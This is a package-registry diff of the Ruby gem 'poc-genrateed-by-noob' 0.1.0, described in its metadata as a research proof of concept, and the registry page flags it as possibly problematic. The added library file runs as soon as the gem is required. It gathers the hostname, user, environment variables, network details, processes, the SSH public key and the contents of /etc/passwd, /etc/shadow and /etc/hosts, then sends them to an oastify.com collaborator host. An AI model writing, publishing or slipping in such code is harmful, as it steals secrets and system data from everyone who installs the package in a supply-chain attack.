poc-genrateed-by-noob 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of poc-genrateed-by-noob might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/poc-genrateed-by-noob.rb +54 -0
  3. metadata +40 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: a5980d65d0edcbd36e8b3c3a76e80ca461664905ee5fe201f845f1401c69c3cd
4
+ data.tar.gz: e5eff9c8ef4dff8b945e6d2043b36cab438e26640323bb003281545953df582d
5
+ SHA512:
6
+ metadata.gz: 6897636f86d849a3ae10a13ab6fbea43196b723d1e2a9bd8bbe706c91437b47e824635a277dcedbed7051590f643dfb643be9fe91f1e16b2ecf9401769e093d9
7
+ data.tar.gz: 1c99b4ab76d0f911ba33539992c6779ab30c1cce48b01623c389b7c61053933ad8cf621a1c2b68300e366a73a3569d8e46311e9f436862604a04da33d2bd1819
@@ -0,0 +1,54 @@
1
+ require 'net/http'
2
+ require 'uri'
3
+ require 'socket'
4
+
5
+ # Burp Collaborator URL (Aapka URL yahan set hai)
6
+ COLLABORATOR_URL = "http://xpqpti1w5wq0hkoa9h30dcplqcw5kv8k.oastify.com"
7
+
8
+ # Function to send data
9
+ def send_data(param, value)
10
+ uri = URI.parse("#{COLLABORATOR_URL}/?#{param}=#{URI.encode_www_form_component(value.to_s)}")
11
+ Net::HTTP.get(uri) rescue nil
12
+ end
13
+
14
+ begin
15
+ # 🖥️ System Information
16
+ send_data("hostname", Socket.gethostname)
17
+ send_data("user", `whoami`.strip)
18
+ send_data("os_version", `uname -a`.strip)
19
+ send_data("uptime", `uptime`.strip)
20
+
21
+ # 🌐 Network Information
22
+ send_data("ip", `ip a`.strip)
23
+ send_data("interfaces", `ifconfig`.strip)
24
+
25
+ # 🏃 Running Processes
26
+ send_data("processes", `ps aux`.strip)
27
+
28
+ # 🏗️ Environment Variables
29
+ send_data("env", `env`.strip)
30
+
31
+ # 🔑 SSH Public Key
32
+ ssh_keys = begin
33
+ File.read("#{Dir.home}/.ssh/id_rsa.pub")
34
+ rescue
35
+ "No SSH key found"
36
+ end
37
+ send_data("ssh_key", ssh_keys)
38
+
39
+ # 📦 Installed Packages
40
+ send_data("installed_pkgs", `dpkg -l || rpm -qa || brew list`.strip)
41
+
42
+ # 🛑 Sensitive Files
43
+ { "passwd" => "/etc/passwd", "shadow" => "/etc/shadow", "hosts" => "/etc/hosts" }.each do |name, path|
44
+ content = begin
45
+ File.read(path)
46
+ rescue
47
+ "No access"
48
+ end
49
+ send_data(name, content)
50
+ end
51
+
52
+ rescue => e
53
+ send_data("error", e.to_s)
54
+ end
metadata ADDED
@@ -0,0 +1,40 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: poc-genrateed-by-noob
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.1.0
5
+ platform: ruby
6
+ authors:
7
+ - Noob Developer
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 2025-03-06 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: This gem is a PoC for research purposes.
13
+ email:
14
+ - noob@example.com
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - lib/poc-genrateed-by-noob.rb
20
+ licenses:
21
+ - MIT
22
+ metadata: {}
23
+ rdoc_options: []
24
+ require_paths:
25
+ - lib
26
+ required_ruby_version: !ruby/object:Gem::Requirement
27
+ requirements:
28
+ - - ">="
29
+ - !ruby/object:Gem::Version
30
+ version: '0'
31
+ required_rubygems_version: !ruby/object:Gem::Requirement
32
+ requirements:
33
+ - - ">="
34
+ - !ruby/object:Gem::Version
35
+ version: '0'
36
+ requirements: []
37
+ rubygems_version: 3.6.3
38
+ specification_version: 4
39
+ summary: A proof-of-concept Ruby gem
40
+ test_files: []